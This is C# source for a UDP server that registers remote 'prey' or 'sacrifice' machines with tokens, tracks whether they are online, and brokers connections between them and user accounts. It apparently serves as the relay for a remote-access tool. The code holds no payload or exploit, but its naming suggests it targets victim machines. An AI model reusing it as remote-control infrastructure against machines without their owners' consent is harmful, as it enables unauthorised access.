private static void _AppendPrey(string[] str_com, IPEndPoint remoteEP, AllUser AllPlayer) { UserClient _one_user = new UserClient(str_com[4], str_com[5], Convert.ToInt32(str_com[3])); Prey _one_prey = new Prey(str_com[1], str_com[2]); bool notfound = false; foreach (var _user in AllPlayer.AllUser_database) { if (_CompareUser(_user, _one_user)) { foreach (var _prey in AllPrey.AllPrey_database) { if (_ComparePrey(_prey, _one_prey)) { _user._all_sacrifice.Add(_prey); Console.WriteLine("[append_prey][OK]"); byte[] msg = BaseTools.Convertbtst("[append_prey][OK]"); ReceiverUDP.udpServer.Send(msg, msg.Length, remoteEP); AllPlayer._SavePrey(_prey, _user); notfound = true; break; } } break; } } if (!notfound) { byte[] btnotfound = BaseTools.Convertbtst("[append_prey][not found]"); ReceiverUDP.udpServer.Send(btnotfound, btnotfound.Length, remoteEP); } }
private static void _RegistrNewPrey(string[] str_com, IPEndPoint remoteEP, AllPrey AllPrey) { Prey _prey = new Prey(remoteEP.Address.ToString(), remoteEP.Port, str_com[1], BaseTools._GenerateTokenPrey()); AllPrey.AllPrey_database.Add(_prey); byte[] camm = BaseTools.Convertbtst("[token][" + _prey.Token_sacrifice + "]"); ReceiverUDP.udpServer.Send(camm, camm.Length, remoteEP); Console.WriteLine(remoteEP.Address + ":" + remoteEP.Port + "присвоен токен " + _prey.Token_sacrifice); AllPrey.Save(_prey.Name_sacrifice, _prey.Token_sacrifice, remoteEP.Address.ToString(), remoteEP.Port.ToString()); }
public static void _SearchUserInBase(AllUser AllPlayer, IPEndPoint remoteEP, ref UserClient _client) { foreach (var _user in AllPlayer.AllUser_database) { if (_CompareUser(_user, _client)) { _user._now_ip_port = remoteEP; _client._now_ip_port = remoteEP; _client._all_sacrifice = _user._all_sacrifice; _client.online = true; string allSacrifice = "[get_all_sacrifice]" + _client._AllSacrificeToString(); byte[] com = BaseTools.Convertbtst(allSacrifice); ReceiverUDP.udpServer.Send(com, com.Length, remoteEP); } } }
private static void _NeedPrey(string[] str_com, IPEndPoint remoteEP, AllPrey AllPrey) { Prey cheackPrey = new Prey(str_com[1], str_com[2]); foreach (var prey in AllPrey.AllPrey_database) { if (_ComparePrey(prey, cheackPrey)) { string cmdforclient = "[for_prey_connect][" + prey.online + "][" + prey.ip + "]"; Console.WriteLine(cmdforclient); byte[] bt = BaseTools.Convertbtst(cmdforclient); ReceiverUDP.udpServer.Send(bt, bt.Length, remoteEP); string cmdforsrv = "[for_prey_connect][" + remoteEP + "]"; Console.WriteLine(cmdforsrv); byte[] btsrv = BaseTools.Convertbtst(cmdforsrv); ReceiverUDP.udpServer.Send(btsrv, btsrv.Length, prey.ip); } } }
public static void _start_command(byte[] command, IPEndPoint remoteEP, AllUser AllPlayer, AllPrey AllPrey) { string str_command = BaseTools.Convertbtst(command); string[] mas_com = str_command.Split(new char[] { '[', ']' }, StringSplitOptions.RemoveEmptyEntries); switch (mas_com[0]) { case "ping_1": _for_ping(remoteEP); break; case "0": _for_new_user(AllPlayer, remoteEP); break; case "prey_get_token": _RegistrNewPrey(mas_com, remoteEP, AllPrey); break; case "prey_online": _ForPreyOnline(mas_com, remoteEP); break; case "append_prey": _AppendPrey(mas_com, remoteEP, AllPlayer); break; case "need_prey": _NeedPrey(mas_com, remoteEP, AllPrey); break; default: _OtherCommand(AllPlayer, remoteEP, mas_com); break; } }
public static void Receiver(int localPort, AllUser AllPlayer, AllPrey AllPrey) { Console.WriteLine("Whait connect\n"); udpServer = new UdpClient(localPort); var outer = Task.Factory.StartNew(() => BaseTools._Cheak_online_Prey(AllPrey)); while (true) { var remoteEP = new IPEndPoint(IPAddress.Any, 19999); var data = udpServer.Receive(ref remoteEP); Console.WriteLine("Подключен " + remoteEP.Address + ":" + remoteEP.Port + " --> " + BaseTools.Convertbtst(data)); Command._start_command(data, remoteEP, AllPlayer, AllPrey); } }